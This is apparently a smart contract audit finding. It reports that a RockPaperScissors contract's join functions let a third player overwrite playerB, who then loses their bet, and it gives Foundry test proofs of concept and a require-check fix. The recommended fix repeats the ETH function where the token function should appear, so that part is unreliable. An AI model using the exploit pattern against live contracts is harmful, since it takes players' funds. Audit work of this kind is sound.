Summary
The RockPaperScissors::joinGameWithEth
and RockPaperScissors::joinGameWithToken
functions do not check if the playerB
slot is already filled. This allows a third player (playerC
) to overwrite playerB
after they’ve joined, causing playerB
to lose their bet while playerC
takes their place, violating the 2-player game logic.
Vulnerability Details
The functions RockPaperScissors::joinGameWithEth
and RockPaperScissors::joinGameWithToken
fail to verify if playerB
is already assigned. As a result, a third player (playerC
) can overwrite playerB
's slot after they’ve already joined the game, leading to the loss of funds for playerB
and disrupting the two-player game flow. This results in unfair gameplay and potential for griefing, as the game allows a malicious player to hijack an existing spot.
Impact
PlayerB
can lose their ETH or tokens after successfully joining a game.
PlayerC
replaces PlayerB
, breaking the expected flow of a two-player game.
This leads to financial loss and trust issues, and also disrupts game progression.
Potential for griefing or spamming the game contract to kick legitimate players.
Proof of Concept
Place the following tests in RockPaperScissorsTest.t.sol
to demonstrate the vulnerability:
function testJoinGameWithEth_breaksRule() public {
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.startPrank(playerB);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
vm.startPrank(playerC);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
(address storedPlayerA, address storedPlayerC,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerC, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
function testJoinGameWithToken_breakRules() public {
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerB);
game.joinGameWithToken(gameId);
vm.stopPrank();
vm.startPrank(playerC);
token.approve(address(game), 1);
vm.expectEmit(true, true, false, true);
emit PlayerJoined(gameId, playerC);
game.joinGameWithToken(gameId);
vm.stopPrank();
assertEq(token.balanceOf(playerB), 9);
assertEq(token.balanceOf(playerC), 9);
assertEq(token.balanceOf(address(game)), 3);
(address storedPlayerA, address storedPlayerC,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerC, playerC);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Created));
}
Tools Used
Foundry, manual code review
Recommendations
Add a require statement in both functions RockPaperScissors::joinGameWithEth
& RockPaperScissors::joinGameWithToken
to check if playerB
has joined. If joined, revert for playerC
; if not, allow joining.
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Game already has two players");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
+ require(game.playerB == address(0), "Game already has two players");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}